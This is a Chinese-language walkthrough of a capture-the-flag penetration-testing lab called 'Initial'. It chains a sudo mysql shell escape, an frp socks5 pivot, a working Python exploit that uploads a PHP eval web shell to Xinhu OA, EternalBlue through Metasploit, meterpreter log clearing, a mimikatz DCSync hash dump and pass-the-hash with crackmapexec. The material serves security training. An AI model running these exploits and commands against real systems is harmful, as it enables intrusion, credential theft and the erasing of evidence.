春秋云镜渗透靶场Initial

靶标介绍:

Initial是一套难度为简单的靶场环境,完成该挑战可以帮助玩家初步认识内网渗透的简单流程。该靶场只有一个flag,各部分位于不同的机器上。

知识点呈现:DCSync CVE 域渗透

详细讲解:

flag1

根据题目给出地直接fscan扫描

image-20250522131226139

然后根据框架信息直接利用现成工具rce

image-20250522131451203

蚁剑连接

image-20250522131530819

尝试寻找flag但是直接find查不到任何信息, 尝试suid提权

1
2
3
4
5
6
7
8
9
10
find / -perm -u=s -type f 2>/dev/null
参数:
/表示从文件系统的顶部(根)开始,查找每个目录
-perm表示搜索后面的权限
-u=s表示查找 root 用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示普通文件,而不是目录或特殊文件
2表示到进程的第二个文件描述符,即 stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它会丢弃写入其中的所有内容。

发现没有能用的

在尝试suid提权无果后,使用sudo提权方式

1
sudo -l

image-20250522132946362

可以看到 mysql 是配置了 sudo 免密使用的,可以使用 mysql 命令暂时获取 root 权限,想要执行其他命令,可以使用 mysql -e 模式

1
sudo mysql -e '\! find / -name flag*'

image-20250522133029492

1
sudo mysql -e '\! cat /root/flag/flag01.txt'

image-20250522133106024

1
flag01: flag{60b53231-

尝试收集内网信息 传入fscan用于扫描以及frp用于代理

fscan

1
2
3
4
(icmp) Target 172.22.1.2      is alive 域控
(icmp) Target 172.22.1.15 is alive web端
(icmp) Target 172.22.1.21 is alive ms17-010
(icmp) Target 172.22.1.18 is alive 信呼oa

image-20250522131646610

frp版本是0.51(高版本语法不对)

frpc.ini

启动语法

1
./frpc -c frpc.ini
1
2
3
4
5
6
7
8
[common]
server_addr = vps的ip
server_port = 7001 #远程vps端口

[socks5]
type = tcp
plugin = socks5
remote_port = 8000 #服务器本地代理端口

frps.ini

1
./frps -c frps.ini
1
2
[common]
bind_port = 7001

尝试内网穿透, 本地用proxifier进行代理

image-20250522131952866

然后就可以在本机访问内网了

flag2

登录校验直接弱密码绕过

1
2
admin
admin123

image-20250522132112536

根据框架版本V2.2.8

收集漏洞信息发现exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests


session = requests.session()

url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
'rempass': '0',
'jmpass': 'false',
'device': '1625884034525',
'ltype': '0',
'adminuser': 'YWRtaW4=::',
'adminpass': 'YWRtaW4xMjM=',
'yanzm': ''
}


r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']

url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath)
print(r.text)
print(url_pre + filepath)

同目录准备一个1.php

1
<?=eval($_POST[1]);?>

直接执行即可

image-20250522132254696

我们antsword直接连接即可

1
dir C:\flag* /s

image-20250522132611442

查到flag

image-20250522133152395

1
flag02: 2ce3-4813-87d4-

flag3

172.22.1.21存在ms17-010

image-20250522133343096

我们直接尝试使用kali的msf进行攻击

kali自带了一个 proxychains4 工具,我们只需要编辑 etc 目录下的 proxychains4.conf 文件:

1
vim /etc/proxychains4.conf

image-20250522133615536

配置上刚刚服务器的代理连接然后开启msf

1
2
3
4
5
6
7
proxychains4 msfconsole
先搜索 search ms17-010 一共找到了 4 个不同的模块:
这里我们选择使用第一个模块,因为他影响是版本比较多,然后接下来依次输入以下命令来发起永恒之蓝攻击:
use exploit/windows/smb/ms17_010_eternalblue # 选择使用的模块
set payload windows/x64/meterpreter/bind_tcp_uuid # 设置payload,可以通过show payloads查看
set RHOSTS 172.22.1.21 # 设置靶机的ip
exploit # 发起攻击

运行成功会出现meterpreter>
Meterpretermetasploit 的一个扩展模块,可以调用 metasploit 的一些功能,对目标系统进行更深入的渗透,入获取屏幕、上传/下载文件、创建持久后门等。
下面介绍一些该模块常用的命令:

1
2
3
4
5
meterpreter > screenshot # 捕获屏幕
meterpreter > upload hello.txt c:// #上传文件
meterpreter > download d://1.txt # 下载文件
meterpreter > shell # 获取cmd
meterpreter > clearev # 清除日志

紧接着上图,可以发现我们已经成功的打进该主机,遗憾的是该机子上并没有 flag ,也就是说我们最后的flagwindows DC 域控制器上面
接下来是进行 DCSync 攻击,这里简单解释一下:
首先,什么是 DCSync

1
2
在域中,不同的域控之间,默认每隔15min就会进行一次域数据同步。当一个额外的域控想从其他域控同步数据时,额外域控会像其他域控发起请求,请求同步数据。如果需要同步的数据比较多,则会重复上述过程。DCSync就是利用这个原理,通过目录复制服务(Directory Replication  Service,DRS)的GetNCChanges接口像域控发起数据同步请求,以获得指定域控上的活动目录数据。目录复制服务也是一种用于在活动目录中复制和管理数据的RPC协议。该协议由两个RPC接口组成。分别是drsuapi和dsaop。
DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash

也就是说我们可以通过 DCSync 来导出所有用户的 hash 然后进行哈希传递攻击,要想使用 DCSync 必须获得以下任一用户的权限:

1
2
3
Administrators 组内的用户
Domain Admins 组内的用户
Enterprise Admins 组内的用户域控制器的计算机帐户

现在我们回到一开始 fscan 的扫描结果:

image-20250522134107747

发现这个机子就是enterprise用户,也就是说满足DCSync攻击的条件,于是我们在msf中依次输入以下命令来获取用户的hash

1
2
load kiwi  # 调用mimikatz模块
kiwi_cmd "lsadump::dcsync /domain:xiaorang.lab /all /csv" exit # 导出域内所有用户的信息(包括哈希值)

image-20250522134233899

这里我们比较关注是 Administrator 用户的 hash,接下来我们使用 crackmapexec 来进行哈希传递攻击,来实现 DC域控 上的任意命令执行,通过以下命令来获取 flag3

1
crackmapexec smb 172.22.1.2 -u administrator -H10cf89a850fb1cdbe6bb432b859164c8 -d xiaorang.lab -x "type Users\Administrator\flag\flag03.txt"

image-20250522134334597

获得flag3

1
flag03: e8f88d0d43d6}